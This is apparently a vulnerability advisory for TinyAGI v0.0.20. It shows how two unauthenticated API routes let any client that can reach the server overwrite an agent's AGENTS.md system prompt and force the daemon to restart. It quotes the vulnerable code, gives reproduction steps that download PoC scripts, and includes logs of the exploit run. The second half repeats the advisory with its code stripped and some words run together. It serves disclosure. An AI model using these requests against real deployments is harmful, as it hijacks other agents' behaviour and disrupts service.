Advisory Details
Title: TinyAGI unauthenticated control-plane routes allow system prompt overwrite and daemon restart
Description:
TinyAGI exposes privileged control-plane HTTP routes without authentication or authorization checks. An unauthenticated client that can reach the API can overwrite an agent workspace AGENTS.md file through PUT /api/agents/:id/system-prompt and can force the main daemon to restart through POST /api/services/restart.
Summary
The API server mounts agent-administration and service-lifecycle routes after only a global CORS middleware, with no owner or operator gate in front of them. In practice, this lets an unauthenticated caller modify persistent agent prompt state and trigger process restart over the public REST API. I reproduced both effects end-to-end against TinyAGI v0.0.20 using the real daemon entrypoint and confirmed the file write and restart by independent observation.
Details
The issue is a missing authentication and authorization guard on control-plane routes.
At API startup, the server applies CORS globally and then mounts the route modules directly:
app.use('/*', cors());
app.route('/', agentsRoutes);
app.route('/', createServicesRoutes(services));
There is no authentication middleware or route-level permission check before privileged routes are exposed.
The first sink is the system-prompt write endpoint in packages/server/src/routes/agents.ts. It accepts attacker-controlled JSON and writes the supplied content directly into the target agent workspace file:
app.put('/api/agents/:id/system-prompt', async (c) => {
const body = await c.req.json() as { content: string };
const agentsMd = path.join(agent.working_directory, 'AGENTS.md');
fs.writeFileSync(agentsMd, body.content || '', 'utf8');
return c.json({ ok: true });
});
The second sink is the service restart endpoint in packages/server/src/routes/services.ts. It returns success and then asynchronously invokes the daemon restart callback with no caller validation:
app.post('/api/services/restart', (c) => {
const response = c.json({ ok: true, action: 'restart' });
setTimeout(() => handlers!.restart!(), 100);
return response;
});
In the main daemon, that callback is wired to shutdown(75), so the impact is externally observable as a forced restart:
restart() {
log('INFO', 'Restart requested via API');
shutdown(75);
},
I verified the issue against the real daemon entrypoint packages/main/dist/index.js in an isolated TINYAGI_HOME. The exploit path was:
- Start TinyAGI with a temporary workspace containing a
tinyagi agent.
- Call
GET /api/status to confirm liveness.
- Call
PUT /api/agents/tinyagi/system-prompt with a canary string.
- Read the workspace
AGENTS.md file independently and confirm the canary was persisted.
- Call
POST /api/services/restart.
- Observe the daemon exit with restart code
75.
This is not a static grep or mock-based result. The requests went through the public REST API, the AGENTS.md sink was verified on disk, and the restart effect was verified from the process exit code and daemon logs.
PoC
Prerequisites
- A checkout of
https://github.com/TinyAGI/tinyclaw at v0.0.20
- Node.js installed
- Python 3 installed
- Project dependencies installed and the daemon built so
packages/main/dist/index.js exists
- No other process listening on TCP port
3777
Reproduction Steps
-
Check out the affected release and build it:
git clone https://github.com/TinyAGI/tinyclaw.git
cd tinyclaw
git checkout v0.0.20
npm install
npm run build
-
Create a directory under the repository root for the PoC files:
-
Download the helper and exploit scripts:
curl -L https://gist.githubusercontent.com/YLChen-007/a28389aaaa6964914c3c7d3bc41cd139/raw/9ee4d8216f58a226a2cdb497fd29d09b72caa7c0/common.py -o poc-ghsa-jr6x/common.py
curl -L https://gist.githubusercontent.com/YLChen-007/6edd2d28bdf320e142ad557b42e5ae13/raw/e7c6700d034f8c1055eb2d1dd690139da6e00bd3/verification_test.py -o poc-ghsa-jr6x/verification_test.py
curl -L https://gist.githubusercontent.com/YLChen-007/e714ce86f34b4f4895756165272b3658/raw/5ca93ef6d46ff591d0ecb94394ca293e93083951/control-no-attack.py -o poc-ghsa-jr6x/control-no-attack.py
-
Run the control script first to establish baseline behavior:
python3 poc-ghsa-jr6x/control-no-attack.py
-
Run the exploit script:
python3 poc-ghsa-jr6x/verification_test.py
-
Confirm that the control run reports [CONTROL-PASS] and that the exploit run reports both:
[Exploit] PUT /api/agents/tinyagi/system-prompt -> 200, canary_written=True
[Independent Observation] daemon exited with restart code 75: True
Log of Evidence
Control run:
[Mode] End-to-End
[Control] Same environment, defect-triggering input removed
[Liveness] GET /api/status -> 200, running=True
[Baseline] Canary absent before control run: True
[Independent Observation] Canary absent without attack input: True
[Independent Observation] daemon still running without restart call: True
[CONTROL-PASS] Baseline remained protected when trigger input was absent.
Exploit run:
[Mode] End-to-End
[Test Input] unauthenticated HTTP client
[Interface] public REST API
[Liveness] GET /api/status -> 200, running=True
[Baseline] Canary absent before attack: True
[Exploit] PUT /api/agents/tinyagi/system-prompt -> 200, canary_written=True
[Exploit] POST /api/services/restart -> 200, body={'ok': True, 'action': 'restart'}
[Independent Observation] daemon exited with restart code 75: True
[Daemon Output]
[2026-06-18T22:46:14.818Z] [INFO] Restart requested via API
[2026-06-18T22:46:14.818Z] [INFO] Restarting queue processor...
[DEFECT-CONFIRMED] Unauthenticated caller reached privileged control-plane actions.
Impact
This is an unauthenticated control-plane authorization bypass. Any client that can reach the TinyAGI API can:
- Persistently replace an agent's system prompt by overwriting the workspace
AGENTS.md
- Force the TinyAGI daemon to restart on demand
The demonstrated impact is high-integrity compromise of agent control-plane state and high-availability impact on the daemon. In practice, rewriting the system prompt also creates a durable foothold over later agent behavior until the prompt file is corrected.
Affected products
- Ecosystem: npm
- Package name: tinyagi
- Affected versions: <= 0.0.20
- Patched versions:
Severity
- Severity: High
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weaknesses
- CWE: CWE-306: Missing Authentication for Critical Function
Occurrences
Advisory Details
Title: TinyAGI unauthenticated control-plane routes allow system prompt overwrite and daemon restart
Description:
TinyAGI exposes privileged control-plane HTTP routes without authentication or authorization checks. An unauthenticated client that can reach the API can overwrite an agent workspace
AGENTS.mdfile throughPUT /api/agents/:id/system-promptand can force the main daemon to restart throughPOST /api/services/restart.Summary
The API server mounts agent-administration and service-lifecycle routes after only a global CORS middleware, with no owner or operator gate in front of them. In practice, this lets an unauthenticated caller modify persistent agent prompt state and trigger process restart over the public REST API. I reproduced both effects end-to-end against TinyAGI
v0.0.20using the real daemon entrypoint and confirmed the file write and restart by independent observation.Details
The issue is a missing authentication and authorization guard on control-plane routes.
At API startup, the server applies CORS globally and then mounts the route modules directly:
There is no authentication middleware or route-level permission check before privileged routes are exposed.
The first sink is the system-prompt write endpoint in
packages/server/src/routes/agents.ts. It accepts attacker-controlled JSON and writes the supplied content directly into the target agent workspace file:The second sink is the service restart endpoint in
packages/server/src/routes/services.ts. It returns success and then asynchronously invokes the daemon restart callback with no caller validation:In the main daemon, that callback is wired to
shutdown(75), so the impact is externally observable as a forced restart:I verified the issue against the real daemon entrypoint
packages/main/dist/index.jsin an isolatedTINYAGI_HOME. The exploit path was:tinyagiagent.GET /api/statusto confirm liveness.PUT /api/agents/tinyagi/system-promptwith a canary string.AGENTS.mdfile independently and confirm the canary was persisted.POST /api/services/restart.75.This is not a static grep or mock-based result. The requests went through the public REST API, the
AGENTS.mdsink was verified on disk, and the restart effect was verified from the process exit code and daemon logs.PoC
Prerequisites
https://github.com/TinyAGI/tinyclawatv0.0.20packages/main/dist/index.jsexists3777Reproduction Steps
Check out the affected release and build it:
git clone https://github.com/TinyAGI/tinyclaw.git cd tinyclaw git checkout v0.0.20 npm install npm run buildCreate a directory under the repository root for the PoC files:
Download the helper and exploit scripts:
Run the control script first to establish baseline behavior:
Run the exploit script:
Confirm that the control run reports
[CONTROL-PASS]and that the exploit run reports both:Log of Evidence
Control run:
Exploit run:
Impact
This is an unauthenticated control-plane authorization bypass. Any client that can reach the TinyAGI API can:
AGENTS.mdThe demonstrated impact is high-integrity compromise of agent control-plane state and high-availability impact on the daemon. In practice, rewriting the system prompt also creates a durable foothold over later agent behavior until the prompt file is corrected.
Affected products
Severity
Weaknesses
Occurrences
PUT /api/agents/:id/system-promptaccepts attacker-controlled content and writes it directly to the target agent workspaceAGENTS.mdfile.POST /api/services/restartreturns success and schedules the restart handler with no caller validation, exposing privileged daemon lifecycle control to unauthenticated clients.shutdown(75), making the unauthenticatedPOST /api/services/restartcall terminate and restart the main TinyAGI process.